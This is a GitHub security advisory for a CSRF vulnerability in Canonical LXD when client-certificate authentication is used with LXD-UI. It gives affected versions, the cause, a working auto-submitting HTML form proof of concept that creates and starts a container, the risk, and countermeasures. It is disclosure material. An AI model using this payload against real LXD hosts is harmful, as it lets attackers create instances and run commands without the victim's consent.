GitHub Security Advisory: GHSA-p8hw-rfjg-689h
Package: github.com/canonical/lxd (GO)
Severity: HIGH (CVSS 8.3)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: >= 5.1, < 5.21.4
Patched in: 5.21.4

Summary: Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI

Details:
### Description
OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.

However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.

Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when `Content-Type` is `text/plain` or `application/x-www-form-urlencoded`, CSRF attacks exploiting HTML form submissions are possible.

### Reproduction Steps
1. Prepare a malicious website controlled by the attacker
2. Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:

This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.

Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. 
This is typically set in the default profile of projects created after storage pool creation.

```html
<html>
<body>
<form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form">
<input type="hidden" name='{"' id="input">
<input type="submit">
</form>
<script>
const i = document.getElementById('input');
i.value = `":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}`;
document.getElementById('form').submit();
</script>
</body>
</html>
```

3. Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2
4. Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started

### Risk
The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.

Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.

### Countermeasures
The most effective countermeasure is to strictly enforce `Content-Type` validation at API endpoints. 
Specifically, change the implementation to reject requests when `Content-Type` is not `application/json`. With this countermeasure, attackers cannot send proper JSON requests